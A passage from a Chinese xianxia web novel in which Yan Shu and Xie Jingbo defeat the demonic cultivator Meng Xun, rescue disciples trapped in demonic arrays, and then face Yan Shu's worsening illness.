“你从前在世人与自己间选择了牺牲自己,那谢镜泊如今也会这般选择你吗?”他满脸阴翳地盯着对面面沉如水的谢镜泊,忽然却听魔阵中央的那个人轻轻叹了一口气。 “谁说他………必定要做个选择了?” 蒙巽愣了一下,紧接着悠悠笑了起来:“怎么?燕公子是已经做好了牺牲自我,与我永远在一起?” “还是燕公子不想接受,被你心爱的、拼死救下的师弟抛弃的事实——” 他掌心一瞬攥紧,听着燕纾闷哼一声,听着谢镜泊焦急的呼喊,清楚燕纾眼瞳再次空洞起来。 “你能一时挣脱开我魔气的烙印,又能怎样?你心神受过损,一时根本不可能破开烙印,还是得再次被我控制。” 他哼笑着转过头,却忽然发现了些许异样。 燕纾神情依旧平静,眸光清明,似乎没有半分混沌的迹象。 蒙巽脸色瞬息一沉:"你——" ——他设下的烙印……怎么不管用了? “你之前莫名将我掳走,无缘无故的事,我怎能不设防?” 燕纾抬起手,素白指尖染上一点鲜血,在自己太阳穴那处轻轻点了点,“不过还是要多谢你——那道烙印本来还需要几天才能消去,方才你再次动手,消耗了仅剩不多的最后一点魔气,如今终于已完全消散了。” 蒙巽脸色铁青,燕纾却已不理他,扭头望向不远处的谢镜泊,轻声开口:"我已入过魔,这魔阵对我无用,所以如今不再是一个二者择其一的困境了。" 谢镜泊手中的微尘里瞬息发出清越长鸣,蒙巽咬牙,倏然抬手,带着那两处魔阵再次蓦然升高。 “都别过来,若你过来,我便直接催动魔阵,再一起松手,让他们全部摔下去!” 蒙巽冷笑一声,这魔障只能从外界击破,他倒也不怕燕纾动手脚,只咬牙望着对面的谢镜泊。 “谢宗主,你们就算有三头六臂,也无法接住几十名入魔的弟子吧。” 谢镜泊动作一僵,同一刻,一道浑厚的灵力将旁边弟子全然包裹。 紧接着燕纾平静的声音传来:“我会护着他们,你只管破障,若魔阵被撤,我也能带他们在空中坚持片刻,他们不会有事的。” 他声音间不知为何,似乎带上了一丝极其细微的颤抖,但转瞬便被很好遮掩。 魔障外的众人掌心间灵力开始渐渐聚拢,蒙巽死死盯着魔阵间的人,忽然却隐约发现了什么。 燕纾的呼吸不对。 似乎有些……太过急促了,仿佛在强行压抑着什么。 他神情看起来仿佛没有什么异常,但细敲之下,琉璃色的眼眸间似乎依旧混沌,带着一丝极力掩饰的痛楚。蒙巽霎时明白了什么。 “不对,你根本没有破开我的烙印!” 蒙巽大笑起来:“你不过是在强撑,你不想让谢镜泊陷入两难——” 不远处,谢镜泊动作霎时一僵,但魔阵中一袭白衣之人却没有预想中的惊慌。 他听着蒙巽的话语,平平静静抬起头,甚至冲他笑了一下:“是吗?” 蒙巽一愣,神情控制不住一时也犹疑起来。 92、养病 “不可能,你不可能这么快就挣脱我的烙印……我的魔气一定万无一失……” 蒙巽眼中爆出红血丝,声音越发阴狠:“你一定是在骗我,一定是在骗我!” 他倏然扭过头,望向不远处也蹙眉望向这边的谢镜泊。 “谢宗主,有本事你就过来把燕纾这边的魔气供源切断!到时任何一边被割开,那边魔阵里被我压抑的魔气就会立刻灌满溢出,将魔阵中的人吞噬。你不如自己试试看,他那烙印到底有没有用!" 谢镜泊眉头紧缩,燕纾依旧支着单薄脊背跪坐在魔阵中央。 他仿佛倦懒了般,单手略微斜斜地撑着地面,另一只手半抬着,维持着另一边魔阵的稳定。 他听着蒙巽的话,慢吞吞抬起头,半晌,轻笑了一下。 “你若说我在骗你……我便在骗吧,你自己信便好。” 蒙巽原本笃定的神情再次出现了一抹裂痕。 “不对,你诈我,你一定是在诈我……” “你若没事,之前为何那般安分地一直待在魔阵内?为何不早让谢镜泊帮你把魔阵破了?” 蒙巽咬牙望着他:“而且你的灵力……你经脉俱损,又是哪里来的灵力?你不要命了吗,你这般又能坚持多久——” “你一会儿不便知道……我到底能坚持多久了。”燕纾轻轻开口。 他也不再理他,扭头望向不远处迟迟未动的谢镜泊,琉璃色眼眸间一派温润。 “九渊。”谢镜泊身子一颤,有些迟疑地转过头,燕纾望着他的神情,一瞬便知道他在想什么。 他没忍住轻轻地叹了一口气。 “我不会有事的,九渊。” “我知道,师兄,我当然知道。”谢镜泊低声开口,攥着微尘里的手收的极紧。 “….…但你的身体,到底怎么样?” 他抬眸望着他,声音间近乎带上了些许哀求:“你告诉我实话,之后不管怎样选择,我都听你的。” “但这回不要……骗我,好不好?” 燕纾的声音戛然而止。 他抬起头,神情似乎带着些许难过般,静静望着他。 倏忽一阵疾风从他身后席卷而过,玉簪坠地裂作三截脆响里,三千白发倏然逶迤如月下冰河。 狂风卷着碎琼乱玉灌入广袖,他平平静静抬头,神情确乎没有一贯的苍白,甚至还带上了几分红润。 “你忘了,从前小时候……我一直与你说过什么?”燕纾忽然轻声开口,回答的却是旁的事。 【你出身销春尽,便是堂堂正正的仙门中人,不管别人如何想,你都要匡正道,守本心,做你认为正确的事。】 【若有一日……即便是我,你也绝不能心软。】 “我不会有事的,先救他们。” 他抬头冲着谢镜泊笑了一下,一字一顿认真开口,“我这回……没有骗你。” 谢镜泊身子一颤,仿佛意识到了什么,脸色一点点白了下来。 他沉默了几秒,却是忽然抬手,掌心间再次慢慢聚集起灵力。 “师弟?”旁边的姜衍惊疑不定地开口,似乎还想追问,等来的却是谢镜泊低低的一句“无事”。 他深吸一口气,不得不也沉下心,慢慢抬掌聚灵。 面前的魔障随着灵力源源不断的注入开始发出令人牙酸的震颤,蒙巽脸色阴沉的可怕。 “你疯了吗,谢镜泊?若燕纾是在骗你,你是真的不要他的命了吗——” 他抬手想拦,却忽然被旁边打来的一道灵力逼的踉跄半步。 蒙巽倏然回过头,正看到魔阵中央一袭白衣的人缓缓收回手,眸色冰冷地直直望着他。 蒙巽简直觉得他们一个两个都疯了。 “你还敢动用灵力?”蒙巽冷笑一声,“是想不等谢镜泊过来亲手杀死你,便全身衰竭而亡……” “我既然能寻到法子将那魔气烙印破除,为何不能有办法暂时恢复我的灵力?” 燕纾指节抵着心口咳喘几声,平平静静望向他。 “你以为这些天,我们大费周章,只是单纯将你引过来……只为重蹈覆辙,再让你如之前般逃脱吗?”风声骤然吞没尾音,燕纾语气平淡如常,眼眸间却闪着异样的光芒。 “这是最后一次了。” 燕纾忽然扭头望向一旁。 这里离师父安眠的梨花园不过百步,细雪织就的梨花瓣随风漂浮,仿佛在耳畔响起一片积雪簌簌坠落之声。他今日终于能让师父……亲眼看到了。 “最后一次?”蒙巽大笑起来。 "怎么?你想摆脱我,不可能,我才是会永远对你好的那人,你别想着再拖延时间挣脱我的烙印——"魔障砰然发出碎裂般的“咔嚓”声响,蒙巽满脸阴翳地倏然抬起手,直接便想将两边魔阵的魔气供源同时斩断。下一刻,蒙巽却忽然听到燕纾轻轻吐了一口气。 “拖延时间?” 他转过头,看着魔阵间,一袭白衣之人不知何时已慢慢站起了身,霜发如冰瀑散在斑驳的白衣侧,发尾浸着未干的血迹。 “不,我不想让师父再等太久。” 他忽然抬手,一阵伧然的铮鸣声间,蒙巽只觉得眼前一道刺目的白光闪过。 紧接着腹部猛地一痛,方才被谢镜泊所伤的伤口被突然接近的剑意再次牵引,鲜血再度喷涌而出。 魔障这么快便被击破了? 蒙巽不可置信地抬起头,却看面前的魔障虽岌岌可危,但并未完全碎裂。 那方才的剑意是从何而来…… 下一秒,玉石相击的清啸声霎时袭来,蒙巽有些狼狈地一侧身,眼眸蓦然睁大。 微尘里不知何时竟然落到了燕纾掌心。 广袖灌满寒风随之轻舞,面前的人随手挽了个剑花,剑锋微微挑起,雪亮光晕间,恍若倒映出无数梨花园飘落的残瓣。 “你怎么……”蒙巽一口牙仿佛都要咬碎。 ——那微尘里不是谢镜泊的本命之器吗? ——燕纾怎么也能驾驭? “我的八万春之前被你们弄碎了……借一下九渊的又怎么了?” 燕纾漫不经心地垂了垂眼,紧接着倏然抬剑,毫无征兆地再次向前掠去。 蒙巽面色阴翳,掌心瞬间涌起无数浓郁魔气。 但下一刻他却看着,燕纾手中的长剑在半空中倏然转了个弯,劈向另一魔阵中,那些弟子周身被魔气禁锢的绳索。 蒙巽目眦欲裂,瞬息意识到自己上当了。 微尘里裹挟的苍然灵力将绳索一瞬劈出一道裂痕,已有弟子反应过来,开始努力调动起被封印的灵力,不停挣扎着试图逃离。 危阑第一个挣脱了绳索,手忙脚乱地一把将口中的布条扯出,焦急地开口:“燕公子——” 燕纾一时却有些说不出话来。 他低低喘了一口气,想要提剑再度聚灵,但手腕却不知为何蓦然一软,剑尖猝然坠地。 他踉跄一步,拄着剑勉强站稳,不着痕迹地按了按眉心。 好在旁边的魔障在同一刻轰然崩塌,一时无数恶鬼哭嚎的喧嚣声随之响起,无人注意到他这刹时的异常。 姜衍、明夷等人一瞬冲到蒙巽近前,边叙去帮那些被困的弟子,而谢镜泊直直地冲向燕纾那边。 蒙巽脸色难看到了极点。 面前的魔障碎片收缩成干枯的灰烬,从虚空中飘落,魔阵中被囚禁的弟子也一个个挣开绳索。 凌厉的灵气直直向他这边袭来,蒙巽清楚大势已去。 他倏然抬手,不顾面前同时向他袭来的两道灵力,掌心间聚起一团浓重的魔气,直直切向剩余还未挣脱绳索的十数名弟子那侧。 蒙巽高声狂笑:“你们想让我束手就擒,不可能,我就算死也要拉几个与我一起垫背的——” 边叙蓦然回头撑起一道结界,却只来得及护住离他近的几名弟子,无暇顾及那无尽的魔气。 下一刻,旁边一个清越的声音扬声传来。 “九渊!” 燕纾手腕一转,微尘里一瞬归位,轻啸一声,无形的剑气自谢镜泊掌心间涌现,稳稳截住蒙巽袭向那处的魔气。姜衍和明夷的灵力同时没入蒙巽的身体,面目狰狞的人吐出一大口鲜血,其余几人不约而同地松了一口气。但那一瞬谢镜泊却看到,蒙巽魔纹流转的脸上浮现出一个诡异的笑容。 他心中瞬间一凛,一股强烈的不安感随之涌起。 “燕纾——” 他猝然转过头,看着不远处静静站在原地的白衣人闻声扭过头,霎时间,天崩地裂。 燕纾脚下的魔阵轰然碎裂,无数魔气倾巢而出,挥舞着爪牙狰狞地向他袭来,直接钻入他体内。 谢镜泊眼睁睁看着,燕纾脸色一瞬惨白,蓦然呛出一口血,捂着头颅踉跄跪地,随着魔阵碎裂,身躯顷刻间无力向下地底深渊坠去。 紧接着,蒙巽无尽癫狂的声音从后方传来:“我就知道,我就知道你是骗人的——你不可能摆脱我!” 但下一刻,却看旁边一道玄色身影一瞬划过,不顾一切地随之向悬崖底掠去。 明夷和姜衍一左一右按在他肩膀,蒙巽也不挣扎,只死死地抬起头,目光阴翳地望向竭力奔过去的谢镜泊。 “没用的,你就算把他救上来了又怎么样?他神识已被绞碎,马上就要变成个活死人——” 但下一刻,他却看到,原本应当失去意识的人勉力抬手,朝着旁边的凸出的一道巨石挥出一道灵力,稍微缓下了他的坠势。 蒙巽眼眸间瞬间闪过一丝不可置信。 燕纾脑海中一阵阵剧痛袭来。 蒙巽魔气太强,又极其擅长隐匿,樾为之和姜衍他们虽然在燕纾昏沉发作吐血后意识到了不对,几番检查却仍旧没能查出到底是哪里做了手脚。只能暂时给他神识间下了一道灵力屏障。 也就是这道屏障,让燕纾最开始能勉强从蒙巽的控制间醒来。 方才他与蒙巽对话,确实是在拖延时间,试图将那烙印强行从神识里剥除。 原本只剩最后几丝魔气便要完全剔除,没想到蒙巽偷偷下了手脚,早存了心思无论谢镜泊做什么选择,都一定要让他被魔气吞噬。燕纾感觉自己的意识被无尽拉扯,他咬咬牙,在一片失重间,努力将自己的身子偏向一侧。 后背撞上悬崖边减缓冲势,一瞬痛入脊骨,燕纾却借此终于挣扎出一丝清明。 他模糊间看到一道玄色身影向他逼近,燕纾竭力伸出手,指尖却总还是……差了那么一点。 ——还是……不行吗。 明明算好了自己身体的承受情况,明明提前吞下了樾为之给他的那枚药丸,却还是没能撑住。唇角有无尽的温热液体泊泊流出,血沫自喉管呛出,燕纾身子控制不住痉挛起来。谢镜泊惊慌失措的身影逐渐缩成墨点,燕纾意识再度昏沉起来,举起的手臂控制不住一点点垂落下来。耳畔的呼啸风声逐渐消失,他有些困了,眼皮控制不住一点点合拢,手腕骤然弯折,腕间的白玉珠子也随之一点点滑落。——他又要……再骗谢镜泊一次吗。 但下一刻,一阵刺眼的白光忽然自燕纾的手腕间爆发而出。 原本静静悬在他腕间的白玉珠子寸寸碎裂,银色鞭影自白玉髓间窜出,玉珠迸裂的脆响里,一点点凝结成冰玉鞭身。最后一颗白玉髓爆裂的瞬间,八万春鞭尾一甩,终于缠上谢镜泊手腕。 "师兄——" 谢镜泊手腕一翻,微尘里重重插入悬崖止住坠势,手中长鞭同时一紧,终于将那瘫软的身躯揽入怀里。他足尖一点揽着人迅速从悬崖底回到地面,踉跄半跪到地上,灵力渡入经脉,小心一遍遍唤着燕纾的名字。"师兄,你醒醒,你看看我……" 好半天,他才听到怀里的人闷哼一声,眼睫颤了颤,迟缓地睁开眼。 “九渊……” 燕纾声音沙哑,呛了一口气,下意识环顾四周。 “我怎么…” “是八万春。”谢镜泊低声开口,慢慢顺着他的心口。 燕纾低下头,目光落到有些委屈地缠在他手腕间的灵鞭时,眼眸间闪过一丝讶然。 当初八万春确实已经随着他灵力散尽而寸寸断截。 燕纾便把他化作了一串白玉佛珠挂在手腕间,用自身血脉慢慢温养着,但一年后也顶多只能勉强存一点灵力,未能完全恢复。燕纾原本都已放弃,没想到今日却……最终救了他一命。 “大概是微尘里靠近时同源灵力刺激,最终将八万春唤出。” 心口处的憋闷已逐渐好转,燕纾回过神,抽回手冲他摇摇头道了一声“无事”。 谢镜泊抱着人坐起来些,指腹却仍旧没有离开他的脉门,而是小心地一点点握住燕纾拿着灵鞭的手。 “我这次,终于接住你了,师兄………”这次八万春……也终于不是再将他推开了。 “不,不可能,为什么你无事,为什么你被救上来了——” 姜衍和明夷一左一右将人押着,蒙巽被灵力封印的绳索绑着,浑身都是淋漓的鲜血,却仍疯狂地挣扎起来。 “凭什么,凭什么我又输了,凭什么我总是差一点运气……” 他话还没说完,忽然听到燕纾轻轻的声音响起。 “你知道那日……师父其实是动了爱才之心吗?” 蒙巽的声音戛然而止。 “他能看出你天资不凡,却似乎误入歧途,周身灵力并不安稳,他原本是想将你救下带回宗门,帮你细细检查一下…….但最终却被蒙巽给害死。 蒙巽不可置信地抬眼,看着燕纾被谢镜泊扶着慢慢站起,一字一顿低声开口。 “长老殿做的错事,你却报复到了唯—一个最后可能真正帮你的无辜之人身上。” 蒙巽周身控制不住地颤抖起来:“不,不可能,你说什么,你在骗我——” 燕纾也不理他,目光望向不远处,眼眸间仿佛有无尽白色花瓣层层落下。 “若是那日你没有杀害他……” 可能如今蒙巽也不会走到这一步。 蒙巽呆呆地跪在原地,神情恍若癫狂,依旧疯狂地摇着头,说着一些胡话。 “不,不可能,你骗我,没人喜欢我,没人会再帮我……” 他周身魔气忽然暴涨,竟然一瞬挣脱了绳索,直直地向前扑去,掌心间魔气轰然拍入地底。 “你们骗我,你们全在骗我!你们该死,你们要与我一同坠入阿鼻地狱——” 他周身的伤口被魔气激的全数裂开,但蒙巽却不管不顾,目光狰狞:“你以为我真的会束手就擒,我早已在这销春尽埋下了几十个魔阵,你们就等着与我一起同归于尽吧!"地面轰然裂出几道大痕,但预想中的无数魔阵却并未从地底浮出。 蒙巽神情间闪过一丝不可置信。 “不,我的魔阵怎么……” 他话还没说完,紧接着一阵匆忙沉重的脚步声响起,伴随着一声兴奋的咕噜声。 “咳咳咳……地底下的魔阵我已经带着他,全数清理完了。” 樾为之灰头土脸地不知从哪里跑了出来,身后跟着白猫化出的乐颠颠巨型妖兽。 它环顾一圈四周,望向燕纾时瞳孔瞬间一亮,四爪一刨瞬间跑过去,紧接着一骨碌躺下身,冲着燕纾露出巨大柔软的腹部,鼻尖拱着燕纾的指尖,似乎想让他帮忙揉揉。燕纾愣了一下,紧接着便听樾为之有些尴尬的声音响起。 “就是他吃的……可能有些撑。” 周围霎时静了一瞬,那巨型白猫歪了歪头,不明所以地望着面前忍俊不禁的几人,似是不明白他们为何还不帮他揉肚子,巨爪轻轻拍打燕纾膝头,喉间发出不满的哼唧声。谢镜泊警惕地将人往后揽了揽,燕纾轻咳一声掩下唇边的笑意,望向不远处全然呆住的蒙巽。 “我说了,这是最后一次了。” “你那次将我劫走后,我让明夷去调查了你马车行进的路线,发现若按照那个反向走过去,尽头是一条死路,不过树林间有一条小道,兜兜转转重新回到了销春尽。”燕纾望向他,一字一顿轻声开口:“你从来不是想把我从销春尽带走,你在这里潜伏了十余年,只有这里是你最熟悉的地方。” 若那日蒙巽真的成功,怕是没有人会想到他竟然会胆大到真的又将人带回销春尽。 所以这地底的魔阵燕纾早已让樾为之偷偷探查过了,将能够翻找出来的魔阵尽数破坏,今日蒙巽闯进来时便也提前让他带着白猫等在旁边,只等蒙 巽动手,便把其余未清理干净的魔阵尽数摧毁。 ——原来一切不过都是为了让他放松警惕,原来他们确实……早有准备。 蒙巽撑在地上的手指插入地面,喉咙间似哭似笑地发出低低地呜咽,终于忍不住放声大笑起来。 ——原来一切从一开始便注定了。 “不,不可能,我没有输,我还能……” 他挣扎着又要起身,身后的明夷一棍子直接打在他背脊,姜衍折扇从他膝盖处削过,却依旧没能阻碍他向前爬去。 蒙巽想要离开这里。 ——他只要随便挟持住一个弟子,就有一线生机,说不定能再度重来…… 下一刻,他忽然感觉心口一凉。 谢镜泊站在他面前,眸色冰冷地望着他,手中长剑直直插入他的心口。 周身的魔气从他濒死的身躯中溢出,蒙巽身子晃了晃,终于猝然倒地。 他恍惚间看着一袭熟悉的白衣缓缓走到他面前,仿佛回光返照般,蒙巽满腔的愤恨忽然化作无尽惶恐。 “你方才说的……你师父那个,是真的吗?” 蒙巽忽然开口,蜷缩在地上,痉挛地向燕纾伸出手:“还有人……想要我的,对不对?” ——他忽然想起,他一开始想要的,不过是有一个人能够认可他,喜欢他。 蒙巽竭力抬头望向那一袭白衣,指尖却堪堪停在他衣摆处:“若是再来一次……学堂时,你还会,救我……”燕纾没有说话。 最后一点魔气从他心口抽离,蒙巽的眼眸一点点空洞,最后那刻,他听到燕纾低低的声音传来。 “不会。” 残夜最后一缕魔瘴化作墨渍,在晨光里洇成掠过的青灰。 忽而风起,天光乍现,地上的残花飘飘悠被卷起大半,仿佛雪白梨蕊漫天飘零。 “你看到了吗,师父,九渊替你报仇了。” 燕纾轻声开口,声音带上了极力压抑的颤抖。 谢镜泊沉默地上前将他轻轻扶住,看着面前的人眼睫颤了颤,晶莹的泪珠终于控制不住从他眼尾滑落:“我们替你……报仇了。”他的呼吸不太对,仿佛倒不过气般逐渐急促起来。 樾为之焦急地向这边跑来,谢镜泊同一刻也意识到不对,瞬间转过身抚上他心口:“师兄………” 下一刻,怀里的人发出一声急促的喘鸣,神情痛苦地按住心口,一瞬倒了下去。 大长老血肉被魔阵全然吞噬殆尽,蒙巽已然身死,长老殿被肃清一空,似乎一切都慢慢好了起来。 只除了燕纾的身体。 燕纾那日昏过去后,几乎是同时没了呼吸。 樾为之和姜衍拼尽全力让他的情况终于逐渐稳定了下来,但他不知为何,一直迟迟不肯醒来。 “你不是说他已经没事了吗?为什么还是没有醒来?” 樾为之捧着药碗小心将愿曦阁的门合上,下一秒听着谢镜泊沉沉的声音从身后传来。 一袭红衣的人身子一颤,被吓的一个激灵。 “你做什么鬼鬼祟祟的……姜衍不都和你说过了吗,他如今太累了,多睡一会儿也有助于恢复。” 樾为之舒了一口气,没好气地开口。 “姜师兄说他两日前应该已经能醒来了。” 谢镜泊仍挡在他身前,目光落到他手中的药碗上:“你方才给他喂的是什么药?” 樾为之眼眸闪了闪,忽然一把将手中的药碗塞到他怀里,推开他快步向外走去。 “就是常规的药,你若不信把这药渣送给姜衍去查,看看有没有问题?” 他说的格外理直气壮,谢镜泊却是低下头,看着干干净净的药碗眉心跳了跳,一抬手再次拦住了他的去路。 “你到底瞒了我们什么?师兄的身体如今到底什么情况?” “我说了没什么,你不是已经让你那二师兄反反复复检查了好多次了吗?就是心血虚耗,昏怠无力。” 樾为之咬牙开口,终于也不耐烦起来:“你如果不信就等燕纾醒了自己问他——” 他话还没说完,却听谢镜泊忽然哑声直接打断他的话:“燕纾身子是要撑不住了吗?” 樾为之身子一颤,倏然抬起头。 下一刻,却听身后一个迟疑的声音响起:“大师兄是……醒了吗?” 樾为之和谢镜泊的声音戛然而止。 两人同一刻倏然回过头,看着边叙有些惊慌的身影站在门口。 “大师兄他……不在愿曦阁里。”